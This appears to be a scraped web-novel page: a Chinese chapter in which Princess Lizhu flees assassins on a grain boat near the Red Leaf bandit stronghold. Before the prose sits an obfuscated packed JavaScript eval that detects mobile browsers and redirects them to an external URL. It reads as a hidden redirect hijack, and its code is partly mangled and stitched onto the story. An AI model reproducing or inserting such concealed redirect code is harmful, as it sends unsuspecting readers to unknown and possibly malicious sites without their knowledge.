;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874781|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,好歹安置好了这一船人,没道理重活一世,反而害得她们无辜早死。 玄英愣了好一会儿。 “……我的公主啊……” 她将骊珠紧紧揽在怀中,潸然泪下: “倘若宓姜娘娘还在世,您何至于,何至于受这样的苦……” 骊珠心里也酸酸的,抬手替玄英抹了抹眼泪。 “我不苦的,玄英,别哭啦,我们哪里都不去了……就去宛郡,去见覃珣,我会嫁给他,我们不会有事的。” 待玄英迷迷糊糊睡着后,骊珠悄悄打开货仓里的箱子。 里头装满了她想带给裴胤之的东西,但发生了这样的事,她已不能再提前与裴胤之相见,否则便是害了他。 她抱着膝,安静地看了好一会儿。 她会记着今日的无能。 几滴眼泪落入箱中,谁都没有瞧见。 漕船顺着燕水而下。 不知过了多久,夜幕褪去,天空染成深蓝色时,船底忽而传来砰地一声巨响,整条漕船重重颠了颠。 女婢们惊惶尖叫。 骊珠与玄英同时惊醒,守在舱门处的长君倏然睁眼,几乎是立刻提剑跳了起来。 有人凿船! 长君道:“公主稍安勿躁,我去瞧瞧!” 骊珠也立刻探窗查看。 借着将明未明的天光,骊珠打眼一看,竟在水面上隐约瞧见了四五个人头。 这还是她眼前的,隐匿在周遭黑暗中的更不知道有多少。 骊珠霎时冷汗湿透。 “玄英,你去备船!” “……公主!你去哪儿公主!” 将玄英的声音抛在身后,骊珠提裙匆匆跑到船底,招呼着摇橹的女婢们上来。 “玄英去准备小船了,别怕,跟我走!” 出了船舱,众人才发现,原来这些人不只是在凿船,漕船的另一侧也被他们挂上了铁钩。 女婢们长居深宫,何曾见过这等场面? 众人吓得腿软,全都没了主意,更顾不得什么主仆尊卑,她们紧紧跟随在骊珠身后,反被骊珠拉着一一送上了小船。 长君将试图爬上船的两人踹了下去,甩了甩剑上血水,回头看了一眼。 “玄英!快让公主上船啊!” “我知道,公主,快把手递给我!” 玄英被骊珠推搡着上了船,立刻反手要去抓骊珠的手,忽而瞳孔一缩—— “公主!!” 不过一眨眼,骊珠突然感觉船只往后猛然一动,伸出的手竟与玄英一下子拉开了一大段距离! 铁钩连着绳索,另一端握在岸上人的手中,漕船正被一股悍然力道拖拽靠岸。 “呵,想跑?” 蒙面的方渐低喝一声: “先除清河公主和这个小阉人,其余人再慢慢料理!给我继续用力拉!” 漕船触岸狠狠一撞,船舷边的骊珠站立不稳,一下子跌入水中。 好在岸边水浅,骊珠挣扎几下便勉强站稳,她淌过荻花荡,对着混战中的长君大喊一声: “长君!往林子里跑!他们选在这里刺杀,此地必有大盗!” 此刻唯一担心的事被一语道破,方渐简直快咬碎了牙。 她说得没错。 此处名为虞山,位处伊陵郡与宛郡的交界地,数条明渠暗渠从虞山而过,地形极为复杂。 也正是因这样复杂的地势,才酝酿出了云州一带最大的匪寨。 根据伊陵郡太守的密报,这匪寨就藏在虞山北坡腹心处,因山上多黄栌红枫,故名红叶寨。 别看这寨子建的时日不长,在绿林之中却颇有名头。 道上相传一句“宁遇豺狼,不遇山魈”,说的就是红叶寨的寨主。 这位诨名“山中魈”的寨主不知具体年岁,只知极为年轻,生得虎背蜂腰,英武非凡,出入威风煊赫,随从无数,常在笑语间杀人越货。 甚至听说,伊陵郡内有许多官员都与他暗中往来,私相授受者不计其数。 伊陵太守倒是有心除掉这块心病,然而剿匪两次,无果。 红叶寨又还不到割据一方,称王称霸的程度,底下官员们一合计,就将此事瞒报了下来。 待到日后这红叶寨真反了,再一股脑推给上头的州牧烦恼便是。 只是红叶寨迟迟没反,伊陵太守却先搭上了皇后身边的关系。 听说是想借刀杀人。 正巧,伊陵太守亦有此意,双方一拍即合,卫尉杨琨吩咐方渐,让他中途务必令御船改道,途经红叶寨的水域。 计划周密,唯有一处要害。 ——绝不能真的跟红叶寨匪贼碰上。 否则,只怕借来的刀杀不了人,他们自己反倒身首异处。 方渐狠踹了身旁下属一脚: “愣着做什么!连个小宦官都打不过,一群废物,还不快追!这趟差事办不好,你们全家的脑袋都保不住!” “喏!” 追赶着骊珠和长君,众人朝红叶林中深入。